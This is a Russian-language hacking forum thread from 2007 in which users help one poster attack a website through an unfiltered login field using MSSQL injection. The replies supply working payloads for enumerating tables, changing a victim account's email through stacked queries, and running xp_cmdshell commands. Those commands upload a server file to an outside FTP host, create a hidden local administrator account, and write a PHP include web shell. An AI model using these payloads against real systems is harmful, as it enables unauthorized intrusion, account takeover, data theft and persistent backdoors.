Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   mssql-injection - need help... (https://forum.antichat.xyz/showthread.php?t=35565)

aka PSIH 15.03.2007 14:12

mssql-injection - need help...
 
Есть сайт, на нем поле UserName не фильтруется...
запросом
1' or 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES)--
узнаю имена таблиц
1' or 1=(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users')--
так калонки

как мне выполнить запрос:
UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz'

Spyder 15.03.2007 14:17

1 or 1=(UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz')
скорее всего у тебя просто прав не хватит

aka PSIH 15.03.2007 14:31

я сразу так делал:
1' or 1=(UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz')--
Цитата:

Incorrect syntax near the keyword 'UPDATE'.
Incorrect syntax near ')'.

vmn 15.03.2007 14:45

Цитата:

Сообщение от aka PSIH
я сразу так делал:
1' or 1=(UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz')--

Обычно делают так:
1';UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz'--

Апдейт в подзапросах использовать нельзя.

aka PSIH 15.03.2007 14:50

спасибо, я сам не допер...

>Апдейт в подзапросах использовать нельзя.
буду знать...

guest3297 15.03.2007 15:12

;UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz'--

aka PSIH 15.03.2007 15:19

еще вапрос, при запросе
1' or 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25admin%25')--

через секунд 15-20 выдает:
Цитата:

Timeout expired. The timeout period elapsed prior to completion of the operation or the server is not responding.
можно как-нить обойти?

vmn 15.03.2007 16:18

нету значит таблиц таких.
А вообще советую вместо or использовать and.

aka PSIH 15.03.2007 16:27

Цитата:

А вообще советую вместо or использовать and
в чем разница?

как можно через mssql-injection залить файл на сервер с удаленного сайта?

Spyder 15.03.2007 16:41

Цитата:

в чем разница?
а в английском языке какая разница между Or и And? такая же и тут

vmn 15.03.2007 16:47

Да можно с помощью xp_cmdshell + ftp.

Вообще если 3389 открыт то народ обычно админа делает себе и заходит через remote desctop.

Как файлы заливать:
exec master.dbo.xp_cmdshell 'echo open ftp.server.net > c:\ftp.ini'
exec master.dbo.xp_cmdshell 'echo 123 ftp >> c:\ftp.ini'
exec master.dbo.xp_cmdshell 'echo 123 ftp >> c:\ftp.ini'
exec master.dbo.xp_cmdshell 'echo put c:\boot.ini >> c:\ftp.ini'
exec master.dbo.xp_cmdshell 'echo bye >> c:\ftp.ini'

exec master.dbo.xp_cmdshell ' ftp -i -s:c:\ftp.ini'

Админа создавать:
exec master.dbo.xp_cmdshell 'net user test test12345 /add'
exec master.dbo.xp_cmdshell 'net localgroup administrators test /add'

Если путь к сайту знаешь то через echo можешь создать файлик типа <?php include($_GET['i']); ?>

Вообщем способов много.


Время: 19:11